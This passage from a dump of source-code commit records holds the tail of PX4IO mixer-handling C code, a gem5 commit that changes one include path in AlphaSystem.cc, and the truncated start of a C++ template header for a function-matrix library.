0)\n\t\treturn -1;\n\n\tswitch (source) {\n\tcase MIX_FMU:\n\t\tif (control_index < PX4IO_CONTROL_CHANNELS) {\n\t\t\tcontrol = REG_TO_FLOAT(r_page_controls[control_index]);\n\t\t\tbreak;\n\t\t}\n\t\treturn -1;\n\n\tcase MIX_OVERRIDE:\n\t\tif (r_page_rc_input[PX4IO_P_RC_VALID] & (1 << control_index)) {\n\t\t\tcontrol = REG_TO_FLOAT(r_page_rc_input[PX4IO_P_RC_BASE + control_index]);\n\t\t\tbreak;\n\t\t}\n\t\treturn -1;\n\n\tcase MIX_FAILSAFE:\n\tcase MIX_NONE:\n\t\t\/* XXX we could allow for configuration of per-output failsafe values *\/\n\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n\n\/*\n * XXX error handling here should be more aggressive; currently it is\n * possible to get STATUS_FLAGS_MIXER_OK set even though the mixer has\n * not loaded faithfully.\n *\/\n\nstatic char mixer_text[256];\t\t\/* large enough for one mixer *\/\nstatic unsigned mixer_text_length = 0;\n\nvoid\nmixer_handle_text(const void *buffer, size_t length)\n{\n\n\tpx4io_mixdata\t*msg = (px4io_mixdata *)buffer;\n\n\tisr_debug(2, \"mixer text %u\", length);\n\n\tif (length < sizeof(px4io_mixdata))\n\t\treturn;\n\n\tunsigned\ttext_length = length - sizeof(px4io_mixdata);\n\n\tswitch (msg->action) {\n\tcase F2I_MIXER_ACTION_RESET:\n\t\tisr_debug(2, \"reset\");\n\t\tmixer_group.reset();\n\t\tmixer_text_length = 0;\n\t\tr_status_flags &= ~PX4IO_P_STATUS_FLAGS_MIXER_OK;\n\n\t\t\/* FALLTHROUGH *\/\n\tcase F2I_MIXER_ACTION_APPEND:\n\t\tisr_debug(2, \"append %d\", length);\n\n\t\t\/* check for overflow - this is really fatal *\/\n\t\t\/* XXX could add just what will fit & try to parse, then repeat... *\/\n\t\tif ((mixer_text_length + text_length + 1) > sizeof(mixer_text)) {\n\t\t\tr_status_flags &= ~PX4IO_P_STATUS_FLAGS_MIXER_OK;\n\t\t\treturn;\n\t\t}\n\n\t\t\/* append mixer text and nul-terminate *\/\n\t\tmemcpy(&mixer_text[mixer_text_length], msg->text, text_length);\n\t\tmixer_text_length += text_length;\n\t\tmixer_text[mixer_text_length] = '\\0';\n\t\tisr_debug(2, \"buflen %u\", mixer_text_length);\n\n\t\t\/* process the text buffer, adding new mixers as their descriptions can be parsed *\/\n\t\tunsigned resid = mixer_text_length;\n\t\tmixer_group.load_from_buf(&mixer_text[0], resid);\n\n\t\t\/* if anything was parsed *\/\n\t\tif (resid != mixer_text_length) {\n\n\t\t\t\/* ideally, this should test resid == 0 ? *\/\n\t\t\tr_status_flags |= PX4IO_P_STATUS_FLAGS_MIXER_OK;\n\n\t\t\tisr_debug(2, \"used %u\", mixer_text_length - resid);\n\n\t\t\t\/* copy any leftover text to the base of the buffer for re-use *\/\n\t\t\tif (resid > 0)\n\t\t\t\tmemcpy(&mixer_text[0], &mixer_text[mixer_text_length - resid], resid);\n\n\t\t\tmixer_text_length = resid;\n\t\t}\n\n\t\tbreak;\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"arch\/alpha\/system.hh\"\n#include \"base\/remote_gdb.hh\"\n#include \"base\/loader\/object_file.hh\"\n#include \"base\/loader\/symtab.hh\"\n#include \"base\/trace.hh\"\n#include \"mem\/functional\/memory_control.hh\"\n#include \"mem\/functional\/physical.hh\"\n#include \"sim\/byteswap.hh\"\n#include \"sim\/builder.hh\"\n#include \"targetarch\/vtophys.hh\"\n\nusing namespace LittleEndianGuest;\n\nAlphaSystem::AlphaSystem(Params *p)\n    : System(p)\n{\n    consoleSymtab = new SymbolTable;\n    palSymtab = new SymbolTable;\n\n\n    \/**\n     * Load the pal, and console code into memory\n     *\/\n    \/\/ Load Console Code\n    console = createObjectFile(params()->console_path);\n    if (console == NULL)\n        fatal(\"Could not load console file %s\", params()->console_path);\n\n    \/\/ Load pal file\n    pal = createObjectFile(params()->palcode);\n    if (pal == NULL)\n        fatal(\"Could not load PALcode file %s\", params()->palcode);\n\n\n    \/\/ Load program sections into memory\n    pal->loadSections(physmem, true);\n    console->loadSections(physmem, true);\n\n    \/\/ load symbols\n    if (!console->loadGlobalSymbols(consoleSymtab))\n        panic(\"could not load console symbols\\n\");\n\n    if (!pal->loadGlobalSymbols(palSymtab))\n        panic(\"could not load pal symbols\\n\");\n\n    if (!pal->loadLocalSymbols(palSymtab))\n        panic(\"could not load pal symbols\\n\");\n\n    if (!console->loadGlobalSymbols(debugSymbolTable))\n        panic(\"could not load console symbols\\n\");\n\n    if (!pal->loadGlobalSymbols(debugSymbolTable))\n        panic(\"could not load pal symbols\\n\");\n\n    if (!pal->loadLocalSymbols(debugSymbolTable))\n        panic(\"could not load pal symbols\\n\");\n\n     Addr addr = 0;\n#ifndef NDEBUG\n    consolePanicEvent = addConsoleFuncEvent<BreakPCEvent>(\"panic\");\n#endif\n\n    \/**\n     * Copy the osflags (kernel arguments) into the consoles\n     * memory. (Presently Linux does not use the console service\n     * routine to get these command line arguments, but Tru64 and\n     * others do.)\n     *\/\n    if (consoleSymtab->findAddress(\"env_booted_osflags\", addr)) {\n        Addr paddr = vtophys(physmem, addr);\n        char *osflags = (char *)physmem->dma_addr(paddr, sizeof(uint32_t));\n\n        if (osflags)\n              strcpy(osflags, params()->boot_osflags.c_str());\n    }\n\n    \/**\n     * Set the hardware reset parameter block system type and revision\n     * information to Tsunami.\n     *\/\n    if (consoleSymtab->findAddress(\"m5_rpb\", addr)) {\n        Addr paddr = vtophys(physmem, addr);\n        char *hwrpb = (char *)physmem->dma_addr(paddr, sizeof(uint64_t));\n\n        if (!hwrpb)\n            panic(\"could not translate hwrpb addr\\n\");\n\n        *(uint64_t*)(hwrpb+0x50) = htog(params()->system_type);\n        *(uint64_t*)(hwrpb+0x58) = htog(params()->system_rev);\n    } else\n        panic(\"could not find hwrpb\\n\");\n\n}\n\nAlphaSystem::~AlphaSystem()\n{\n    delete consoleSymtab;\n    delete console;\n    delete pal;\n#ifdef DEBUG\n    delete consolePanicEvent;\n#endif\n}\n\n\/**\n * This function fixes up addresses that are used to match PCs for\n * hooking simulator events on to target function executions.\n *\n * Alpha binaries may have multiple global offset table (GOT)\n * sections.  A function that uses the GOT starts with a\n * two-instruction prolog which sets the global pointer (gp == r29) to\n * the appropriate GOT section.  The proper gp value is calculated\n * based on the function address, which must be passed by the caller\n * in the procedure value register (pv aka t12 == r27).  This sequence\n * looks like the following:\n *\n *\t\t\topcode Ra Rb offset\n *\tldah gp,X(pv)     09   29 27   X\n *\tlda  gp,Y(gp)     08   29 29   Y\n *\n * for some constant offsets X and Y.  The catch is that the linker\n * (or maybe even the compiler, I'm not sure) may recognize that the\n * caller and callee are using the same GOT section, making this\n * prolog redundant, and modify the call target to skip these\n * instructions.  If we check for execution of the first instruction\n * of a function (the one the symbol points to) to detect when to skip\n * it, we'll miss all these modified calls.  It might work to\n * unconditionally check for the third instruction, but not all\n * functions have this prolog, and there's some chance that those\n * first two instructions could have undesired consequences.  So we do\n * the Right Thing and pattern-match the first two instructions of the\n * function to decide where to patch.\n *\n * Eventually this code should be moved into an ISA-specific file.\n *\/\nAddr\nAlphaSystem::fixFuncEventAddr(Addr addr)\n{\n    \/\/ mask for just the opcode, Ra, and Rb fields (not the offset)\n    const uint32_t inst_mask = 0xffff0000;\n    \/\/ ldah gp,X(pv): opcode 9, Ra = 29, Rb = 27\n    const uint32_t gp_ldah_pattern = (9 << 26) | (29 << 21) | (27 << 16);\n    \/\/ lda  gp,Y(gp): opcode 8, Ra = 29, rb = 29\n    const uint32_t gp_lda_pattern  = (8 << 26) | (29 << 21) | (29 << 16);\n    \/\/ instruction size\n    const int sz = sizeof(uint32_t);\n\n    Addr paddr = vtophys(physmem, addr);\n    uint32_t i1 = *(uint32_t *)physmem->dma_addr(paddr, sz);\n    uint32_t i2 = *(uint32_t *)physmem->dma_addr(paddr+sz, sz);\n\n    if ((i1 & inst_mask) == gp_ldah_pattern &&\n        (i2 & inst_mask) == gp_lda_pattern) {\n        Addr new_addr = addr + 2*sz;\n        DPRINTF(Loader, \"fixFuncEventAddr: %p -> %p\", addr, new_addr);\n        return new_addr;\n    } else {\n        return addr;\n    }\n}\n\n\nvoid\nAlphaSystem::setAlphaAccess(Addr access)\n{\n    Addr addr = 0;\n    if (consoleSymtab->findAddress(\"m5AlphaAccess\", addr)) {\n        Addr paddr = vtophys(physmem, addr);\n        uint64_t *m5AlphaAccess =\n            (uint64_t *)physmem->dma_addr(paddr, sizeof(uint64_t));\n\n        if (!m5AlphaAccess)\n            panic(\"could not translate m5AlphaAccess addr\\n\");\n\n        *m5AlphaAccess = htog(EV5::Phys2K0Seg(access));\n    } else\n        panic(\"could not find m5AlphaAccess\\n\");\n}\n\nbool\nAlphaSystem::breakpoint()\n{\n    return remoteGDB[0]->trap(ALPHA_KENTRY_INT);\n}\n\nvoid\nAlphaSystem::serialize(std::ostream &os)\n{\n    System::serialize(os);\n    consoleSymtab->serialize(\"console_symtab\", os);\n    palSymtab->serialize(\"pal_symtab\", os);\n}\n\n\nvoid\nAlphaSystem::unserialize(Checkpoint *cp, const std::string &section)\n{\n    System::unserialize(cp,section);\n    consoleSymtab->unserialize(\"console_symtab\", cp, section);\n    palSymtab->unserialize(\"pal_symtab\", cp, section);\n}\n\n\nBEGIN_DECLARE_SIM_OBJECT_PARAMS(AlphaSystem)\n\n    Param<Tick> boot_cpu_frequency;\n    SimObjectParam<MemoryController *> memctrl;\n    SimObjectParam<PhysicalMemory *> physmem;\n\n    Param<std::string> kernel;\n    Param<std::string> console;\n    Param<std::string> pal;\n\n    Param<std::string> boot_osflags;\n    Param<std::string> readfile;\n    Param<unsigned int> init_param;\n\n    Param<uint64_t> system_type;\n    Param<uint64_t> system_rev;\n\n    Param<bool> bin;\n    VectorParam<std::string> binned_fns;\n    Param<bool> bin_int;\n\nEND_DECLARE_SIM_OBJECT_PARAMS(AlphaSystem)\n\nBEGIN_INIT_SIM_OBJECT_PARAMS(AlphaSystem)\n\n    INIT_PARAM(boot_cpu_frequency, \"Frequency of the boot CPU\"),\n    INIT_PARAM(memctrl, \"memory controller\"),\n    INIT_PARAM(physmem, \"phsyical memory\"),\n    INIT_PARAM(kernel, \"file that contains the kernel code\"),\n    INIT_PARAM(console, \"file that contains the console code\"),\n    INIT_PARAM(pal, \"file that contains palcode\"),\n    INIT_PARAM_DFLT(boot_osflags, \"flags to pass to the kernel during boot\",\n                    \"a\"),\n    INIT_PARAM_DFLT(readfile, \"file to read startup script from\", \"\"),\n    INIT_PARAM_DFLT(init_param, \"numerical value to pass into simulator\", 0),\n    INIT_PARAM_DFLT(system_type, \"Type of system we are emulating\", 34),\n    INIT_PARAM_DFLT(system_rev, \"Revision of system we are emulating\", 1<<10),\n    INIT_PARAM_DFLT(bin, \"is this system to be binned\", false),\n    INIT_PARAM(binned_fns, \"functions to be broken down and binned\"),\n    INIT_PARAM_DFLT(bin_int, \"is interrupt code binned seperately?\", true)\n\nEND_INIT_SIM_OBJECT_PARAMS(AlphaSystem)\n\nCREATE_SIM_OBJECT(AlphaSystem)\n{\n    AlphaSystem::Params *p = new AlphaSystem::Params;\n    p->name = getInstanceName();\n    p->boot_cpu_frequency = boot_cpu_frequency;\n    p->memctrl = memctrl;\n    p->physmem = physmem;\n    p->kernel_path = kernel;\n    p->console_path = console;\n    p->palcode = pal;\n    p->boot_osflags = boot_osflags;\n    p->init_param = init_param;\n    p->readfile = readfile;\n    p->system_type = system_type;\n    p->system_rev = system_rev;\n    p->bin = bin;\n    p->binned_fns = binned_fns;\n    p->bin_int = bin_int;\n    return new AlphaSystem(p);\n}\n\nREGISTER_SIM_OBJECT(\"AlphaSystem\", AlphaSystem)\n\n\n<commit_msg>Changed targetarch to arch<commit_after>\/*\n * Copyright (c) 2002-2005 The Regents of The University of Michigan\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are\n * met: redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer;\n * redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and\/or other materials provided with the distribution;\n * neither the name of the copyright holders nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"arch\/alpha\/system.hh\"\n#include \"base\/remote_gdb.hh\"\n#include \"base\/loader\/object_file.hh\"\n#include \"base\/loader\/symtab.hh\"\n#include \"base\/trace.hh\"\n#include \"mem\/functional\/memory_control.hh\"\n#include \"mem\/functional\/physical.hh\"\n#include \"sim\/byteswap.hh\"\n#include \"sim\/builder.hh\"\n#include \"arch\/vtophys.hh\"\n\nusing namespace LittleEndianGuest;\n\nAlphaSystem::AlphaSystem(Params *p)\n    : System(p)\n{\n    consoleSymtab = new SymbolTable;\n    palSymtab = new SymbolTable;\n\n\n    \/**\n     * Load the pal, and console code into memory\n     *\/\n    \/\/ Load Console Code\n    console = createObjectFile(params()->console_path);\n    if (console == NULL)\n        fatal(\"Could not load console file %s\", params()->console_path);\n\n    \/\/ Load pal file\n    pal = createObjectFile(params()->palcode);\n    if (pal == NULL)\n        fatal(\"Could not load PALcode file %s\", params()->palcode);\n\n\n    \/\/ Load program sections into memory\n    pal->loadSections(physmem, true);\n    console->loadSections(physmem, true);\n\n    \/\/ load symbols\n    if (!console->loadGlobalSymbols(consoleSymtab))\n        panic(\"could not load console symbols\\n\");\n\n    if (!pal->loadGlobalSymbols(palSymtab))\n        panic(\"could not load pal symbols\\n\");\n\n    if (!pal->loadLocalSymbols(palSymtab))\n        panic(\"could not load pal symbols\\n\");\n\n    if (!console->loadGlobalSymbols(debugSymbolTable))\n        panic(\"could not load console symbols\\n\");\n\n    if (!pal->loadGlobalSymbols(debugSymbolTable))\n        panic(\"could not load pal symbols\\n\");\n\n    if (!pal->loadLocalSymbols(debugSymbolTable))\n        panic(\"could not load pal symbols\\n\");\n\n     Addr addr = 0;\n#ifndef NDEBUG\n    consolePanicEvent = addConsoleFuncEvent<BreakPCEvent>(\"panic\");\n#endif\n\n    \/**\n     * Copy the osflags (kernel arguments) into the consoles\n     * memory. (Presently Linux does not use the console service\n     * routine to get these command line arguments, but Tru64 and\n     * others do.)\n     *\/\n    if (consoleSymtab->findAddress(\"env_booted_osflags\", addr)) {\n        Addr paddr = vtophys(physmem, addr);\n        char *osflags = (char *)physmem->dma_addr(paddr, sizeof(uint32_t));\n\n        if (osflags)\n              strcpy(osflags, params()->boot_osflags.c_str());\n    }\n\n    \/**\n     * Set the hardware reset parameter block system type and revision\n     * information to Tsunami.\n     *\/\n    if (consoleSymtab->findAddress(\"m5_rpb\", addr)) {\n        Addr paddr = vtophys(physmem, addr);\n        char *hwrpb = (char *)physmem->dma_addr(paddr, sizeof(uint64_t));\n\n        if (!hwrpb)\n            panic(\"could not translate hwrpb addr\\n\");\n\n        *(uint64_t*)(hwrpb+0x50) = htog(params()->system_type);\n        *(uint64_t*)(hwrpb+0x58) = htog(params()->system_rev);\n    } else\n        panic(\"could not find hwrpb\\n\");\n\n}\n\nAlphaSystem::~AlphaSystem()\n{\n    delete consoleSymtab;\n    delete console;\n    delete pal;\n#ifdef DEBUG\n    delete consolePanicEvent;\n#endif\n}\n\n\/**\n * This function fixes up addresses that are used to match PCs for\n * hooking simulator events on to target function executions.\n *\n * Alpha binaries may have multiple global offset table (GOT)\n * sections.  A function that uses the GOT starts with a\n * two-instruction prolog which sets the global pointer (gp == r29) to\n * the appropriate GOT section.  The proper gp value is calculated\n * based on the function address, which must be passed by the caller\n * in the procedure value register (pv aka t12 == r27).  This sequence\n * looks like the following:\n *\n *\t\t\topcode Ra Rb offset\n *\tldah gp,X(pv)     09   29 27   X\n *\tlda  gp,Y(gp)     08   29 29   Y\n *\n * for some constant offsets X and Y.  The catch is that the linker\n * (or maybe even the compiler, I'm not sure) may recognize that the\n * caller and callee are using the same GOT section, making this\n * prolog redundant, and modify the call target to skip these\n * instructions.  If we check for execution of the first instruction\n * of a function (the one the symbol points to) to detect when to skip\n * it, we'll miss all these modified calls.  It might work to\n * unconditionally check for the third instruction, but not all\n * functions have this prolog, and there's some chance that those\n * first two instructions could have undesired consequences.  So we do\n * the Right Thing and pattern-match the first two instructions of the\n * function to decide where to patch.\n *\n * Eventually this code should be moved into an ISA-specific file.\n *\/\nAddr\nAlphaSystem::fixFuncEventAddr(Addr addr)\n{\n    \/\/ mask for just the opcode, Ra, and Rb fields (not the offset)\n    const uint32_t inst_mask = 0xffff0000;\n    \/\/ ldah gp,X(pv): opcode 9, Ra = 29, Rb = 27\n    const uint32_t gp_ldah_pattern = (9 << 26) | (29 << 21) | (27 << 16);\n    \/\/ lda  gp,Y(gp): opcode 8, Ra = 29, rb = 29\n    const uint32_t gp_lda_pattern  = (8 << 26) | (29 << 21) | (29 << 16);\n    \/\/ instruction size\n    const int sz = sizeof(uint32_t);\n\n    Addr paddr = vtophys(physmem, addr);\n    uint32_t i1 = *(uint32_t *)physmem->dma_addr(paddr, sz);\n    uint32_t i2 = *(uint32_t *)physmem->dma_addr(paddr+sz, sz);\n\n    if ((i1 & inst_mask) == gp_ldah_pattern &&\n        (i2 & inst_mask) == gp_lda_pattern) {\n        Addr new_addr = addr + 2*sz;\n        DPRINTF(Loader, \"fixFuncEventAddr: %p -> %p\", addr, new_addr);\n        return new_addr;\n    } else {\n        return addr;\n    }\n}\n\n\nvoid\nAlphaSystem::setAlphaAccess(Addr access)\n{\n    Addr addr = 0;\n    if (consoleSymtab->findAddress(\"m5AlphaAccess\", addr)) {\n        Addr paddr = vtophys(physmem, addr);\n        uint64_t *m5AlphaAccess =\n            (uint64_t *)physmem->dma_addr(paddr, sizeof(uint64_t));\n\n        if (!m5AlphaAccess)\n            panic(\"could not translate m5AlphaAccess addr\\n\");\n\n        *m5AlphaAccess = htog(EV5::Phys2K0Seg(access));\n    } else\n        panic(\"could not find m5AlphaAccess\\n\");\n}\n\nbool\nAlphaSystem::breakpoint()\n{\n    return remoteGDB[0]->trap(ALPHA_KENTRY_INT);\n}\n\nvoid\nAlphaSystem::serialize(std::ostream &os)\n{\n    System::serialize(os);\n    consoleSymtab->serialize(\"console_symtab\", os);\n    palSymtab->serialize(\"pal_symtab\", os);\n}\n\n\nvoid\nAlphaSystem::unserialize(Checkpoint *cp, const std::string &section)\n{\n    System::unserialize(cp,section);\n    consoleSymtab->unserialize(\"console_symtab\", cp, section);\n    palSymtab->unserialize(\"pal_symtab\", cp, section);\n}\n\n\nBEGIN_DECLARE_SIM_OBJECT_PARAMS(AlphaSystem)\n\n    Param<Tick> boot_cpu_frequency;\n    SimObjectParam<MemoryController *> memctrl;\n    SimObjectParam<PhysicalMemory *> physmem;\n\n    Param<std::string> kernel;\n    Param<std::string> console;\n    Param<std::string> pal;\n\n    Param<std::string> boot_osflags;\n    Param<std::string> readfile;\n    Param<unsigned int> init_param;\n\n    Param<uint64_t> system_type;\n    Param<uint64_t> system_rev;\n\n    Param<bool> bin;\n    VectorParam<std::string> binned_fns;\n    Param<bool> bin_int;\n\nEND_DECLARE_SIM_OBJECT_PARAMS(AlphaSystem)\n\nBEGIN_INIT_SIM_OBJECT_PARAMS(AlphaSystem)\n\n    INIT_PARAM(boot_cpu_frequency, \"Frequency of the boot CPU\"),\n    INIT_PARAM(memctrl, \"memory controller\"),\n    INIT_PARAM(physmem, \"phsyical memory\"),\n    INIT_PARAM(kernel, \"file that contains the kernel code\"),\n    INIT_PARAM(console, \"file that contains the console code\"),\n    INIT_PARAM(pal, \"file that contains palcode\"),\n    INIT_PARAM_DFLT(boot_osflags, \"flags to pass to the kernel during boot\",\n                    \"a\"),\n    INIT_PARAM_DFLT(readfile, \"file to read startup script from\", \"\"),\n    INIT_PARAM_DFLT(init_param, \"numerical value to pass into simulator\", 0),\n    INIT_PARAM_DFLT(system_type, \"Type of system we are emulating\", 34),\n    INIT_PARAM_DFLT(system_rev, \"Revision of system we are emulating\", 1<<10),\n    INIT_PARAM_DFLT(bin, \"is this system to be binned\", false),\n    INIT_PARAM(binned_fns, \"functions to be broken down and binned\"),\n    INIT_PARAM_DFLT(bin_int, \"is interrupt code binned seperately?\", true)\n\nEND_INIT_SIM_OBJECT_PARAMS(AlphaSystem)\n\nCREATE_SIM_OBJECT(AlphaSystem)\n{\n    AlphaSystem::Params *p = new AlphaSystem::Params;\n    p->name = getInstanceName();\n    p->boot_cpu_frequency = boot_cpu_frequency;\n    p->memctrl = memctrl;\n    p->physmem = physmem;\n    p->kernel_path = kernel;\n    p->console_path = console;\n    p->palcode = pal;\n    p->boot_osflags = boot_osflags;\n    p->init_param = init_param;\n    p->readfile = readfile;\n    p->system_type = system_type;\n    p->system_rev = system_rev;\n    p->bin = bin;\n    p->binned_fns = binned_fns;\n    p->bin_int = bin_int;\n    return new AlphaSystem(p);\n}\n\nREGISTER_SIM_OBJECT(\"AlphaSystem\", AlphaSystem)\n\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef MANIFOLDS_FUNCTIONS_FUNCTION_MATRIX_HH\n#define MANIFOLDS_FUNCTIONS_FUNCTION_MATRIX_HH\n\n#include \"function.hh\"\n#include \"matrix.hh\"\n\nnamespace manifolds {\n\n  template <class ... Functions>\n  struct RowHolder\n  {\n    RowHolder(Functions...fs):functions(fs...){}\n    std::tuple<Functions...> functions;\n    auto GetFunctions() const\n    {\n      return functions;\n    }\n  };\n\n  template <class ... Functions>\n  auto Row(Functions...fs)\n  {\n    return RowHolder<Functions...>(fs...);\n  }\n\n  template <class rows, class cols,\n\t    class ... Functions>\n  struct FunctionMatrixImpl :\n    Function<max<Functions::input_dim...>::value,\n\t     max<Functions::output_dim...>::value>\n  {\n    static const int num_rows = rows::value;\n    static const int num_cols = cols::value;\n    std::tuple<Functions...> functions;\n\n    template <class ... Rows>\n    FunctionMatrixImpl(Rows...rs):\n      functions(std::tuple_cat(rs.GetFunctions()...)){}\n\n    FunctionMatrixImpl(std::tuple<Functions...> f):\n      functions(f){}\n\n    template <class ... Args, std::size_t ... indices>\n    auto eval(std::integer_sequence<std::size_t,indices...>,\n\t      Args...args) const\n    {\n      return GetMatrix<rows::value,cols::value>\n\t(std::get<indices>(functions)(args...)...);\n    }\n\n    template <class ... Args>\n    auto operator()(Args...args) const\n    {\n      return eval(std::index_sequence_for<Functions...>(), args...);\n    }\n\n    auto GetFunctions() const\n    {\n      return functions;\n    }\n\n    auto GetOutputs() const\n    {\n      return functions;\n    }\n  };\n\n  DEF_FF_TEMPLATE(FunctionMatrix)\n\n  template <std::size_t rows, std::size_t cols,\n\t    class ... Functions>\n  auto GetFunctionMatrix(std::tuple<Functions...> functions)\n  {\n    return FunctionMatrix<\n      int_<rows>,int_<cols>,Functions...>(functions);\n  }\n\n  template <class ... Rows>\n  auto GetFunctionMatrix(Rows...rows)\n  {\n    return GetFunctionMatrix<\n      sizeof...(Rows),\n      std::tuple_size<\n\tdecltype(std::declval<\n\t\t typename first<Rows...>::type>().\n\t\t GetFunctions())>::value>\n      (std::tuple_cat(rows.GetFunctions()...));\n  }\n\n  template <class rows, class cols, class ... Functions>\n  std::ostream & operator<<\n  (std::ostream & s,\n   FunctionMatrix<rows, cols, Functions...> f)\n  {\n    s << \"FunctionMatrix<\" << rows::value << \", \"\n      << cols::value << \">\";\n    StreamVariadic(\"\", f, s);\n    return s;\n  }\n\n  template <class ... Functions>\n  auto GetRow(Functions ... functions)\n  {\n    return Row<Functions...>(functions...);\n  }\n\n}\n\n#include \"variables.hh\"\n#include \"trig.hh\"\n#include \"polynomial.hh\"\n\nnamespace manifolds {\n\n  template <class r1, class c1, class r2, class c2,\n\t    class ... F1s, class ... F2s>\n  struct Simplification<\n    Composition<FunctionMatrix<r1,c1,F1s...>,\n\t\tFunctionMatrix<r2,c2,F2s...>>>\n  {\n    typedef FunctionMatrix<r1,c1,F1s...> FMOut;\n    typedef FunctionMatrix<r2,c2,F2s...> FMIn;\n    static_assert(r2::value == 1 || c2::value == 1,\n\t\t  \"Inner function of composition must \"\n\t\t  \"be a row or column vector.\");\n    static const int dims =\n      r2::value == 1 ? c2::value : r2::value;\n    static_assert(dims == FMOut::input_dim,\n\t\t  \"Dimensionality of inner vector \"\n\t\t  \"must match input dimensionality of \"\n\t\t  \"outer vector.\");\n\n    template <class TupleO, class TupleI,\n\t      std::size_t ... iouts,\n\t      std::size_t ... iins>\n    static auto CombineHelper(TupleO t1, TupleI t2,\n\t\t\t      std::integer_sequence<\n\t\t\t      std::size_t, iouts...>,\n\t\t\t      std::integer_sequence<\n\t\t\t      std::size_t, iins...>)\n    {\n      return std::make_tuple(std::get<iouts>(t1)\n\t\t\t     (std::get<iins>(t2)...)...);\n    }\n\n    typedef Composition<FunctionMatrix<r1,c1,F1s...>,\n\t\t\tFunctionMatrix<r2,c2,F2s...>> in_type;\n\n    static auto Combine(in_type c)\n    {\n#ifdef PRINT_SIMPLIFIES\n      std::cout << \"Simplifying composition of function matrices\\n\";\n#endif\n      auto t = c.GetFunctions();\n      return GetFunctionMatrix<r1::value, c1::value>\n\t(CombineHelper(std::get<0>(t).GetFunctions(),\n\t\t       std::get<1>(t).GetFunctions(),\n\t\t       std::index_sequence_for<F1s...>(),\n\t\t       std::index_sequence_for<F2s...>()));\n    }\n\n    typedef decltype(Combine(std::declval<in_type>())) type;\n  };\n\n  template <int i, bool a, class ... FMFuncs>\n  struct Simplification<\n    Composition<Variable<i,a>,\n\t\tFunctionMatrix<FMFuncs...>>>\n  {\n    typedef typename nth<i+2,FMFuncs...>::type type;\n\n    static type Combine(Composition<Variable<i,a>,\n\t\t\tFunctionMatrix<FMFuncs...>> c)\n    {\n#ifdef PRINT_SIMPLIFIES\n      std::cout << \"Simplifying composition of \"\n\t\"variable and function matrix\\n\";\n#endif\n      return std::get<i>(std::get<1>(c.GetFunctions()).\n\t\t\t GetFunctions());\n    }\n  };\n\n  template <class r, class c, class ... Fs>\n  struct Simplification<\n    FunctionMatrix<r,c, Fs...>, 1>\n  {\n    typedef FunctionMatrix<r,c, Fs...> in_type;\n    static auto Combine(in_type m)\n    {\n#ifdef PRINT_SIMPLIFIES\n      std::cout << \"Simplifying individual elements \"\n\t\"of function matrix\\n\";\n#endif\n      auto t = m.GetFunctions();\n      return GetFunctionMatrix<r::value, c::value>\n\t(SimplifyIndividuals(t,\n\t\t\t     std::make_index_sequence<\n\t\t\t     std::tuple_size<\n\t\t\t     decltype(t)>::value>()));\n    }\n\n    typedef decltype(Combine(std::declval<in_type>())) type;\n  };\n\n  template <class F, class P, class r, class c>\n  struct Simplification<\n    Multiplication<\n    F, Composition<Pow,\n\t\t   FunctionMatrix<r,c,F,P>>>, 0,\n    typename std::enable_if<is_stateless<F>::value>::type>\n  {\n    typedef Multiplication<\n      F, Composition<Pow,\n\t\t     FunctionMatrix<r,c,F,P>>> in_type;\n    static auto Combine(in_type f)\n    {\n      auto p = std::get<1>(std::get<1>\n\t\t\t   